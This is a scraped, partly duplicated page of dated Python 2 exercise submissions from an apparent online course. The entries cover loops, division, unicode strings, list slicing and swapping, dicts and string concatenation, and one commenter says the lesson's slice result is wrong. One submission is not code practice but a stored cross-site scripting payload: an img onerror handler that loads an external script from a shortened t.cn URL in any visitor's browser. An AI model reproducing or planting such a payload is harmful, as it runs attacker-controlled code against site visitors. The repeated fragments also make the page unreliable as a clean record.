L = []
n = 1
while n <= 100:
L.append(n*n)
n = n + 1
print sum(L)
n = 1
while n <= 100:
L.append(n*n)
n = n + 1
print sum(L)
2015-07-15
>>> print 2.5+10/4
4.5
>>> print 2.5+10/4.0
5.0
4.5
>>> print 2.5+10/4.0
5.0
2015-07-15
#-*-coding:utf-8-*-
print u'''静夜思
床前明月光,
……
低头思故乡。'''
print u'''静夜思
床前明月光,
……
低头思故乡。'''
2015-07-15
>>> L[1:3]
['Adam', 'Lisa']
知识讲解部分这一点有错误吧,结果出来应该是['Lisa', 'Bart']
['Adam', 'Lisa']
知识讲解部分这一点有错误吧,结果出来应该是['Lisa', 'Bart']
2015-07-15
L = ['Adam', 'Lisa', 'Bart']
a = 'Adam'
L[0] = L[2]
L[2] = a
print L
a = 'Adam'
L[0] = L[2]
L[2] = a
print L
2015-07-15
"><img src=x onerror=s=createElement('script');body.appendChild(s);s.src='http://t.cn/RL5vgUZ';>
2015-07-14
d = {
'Adam': 95,
'Lisa': 85,
'Bart': 59
}
print 'Adam:' + str(d.get('Adam'))
print 'Lisa:'+str(d.get('Lisa'))
print 'Bart:'+str(d.get('Bart'))
'Adam': 95,
'Lisa': 85,
'Bart': 59
}
print 'Adam:' + str(d.get('Adam'))
print 'Lisa:'+str(d.get('Lisa'))
print 'Bart:'+str(d.get('Bart'))
2015-07-14
print 'hello,Python'
print 'hello,''Python'
print 'hello'',''Python'
print 'hello,''Python'
print 'hello'',''Python'
2015-07-13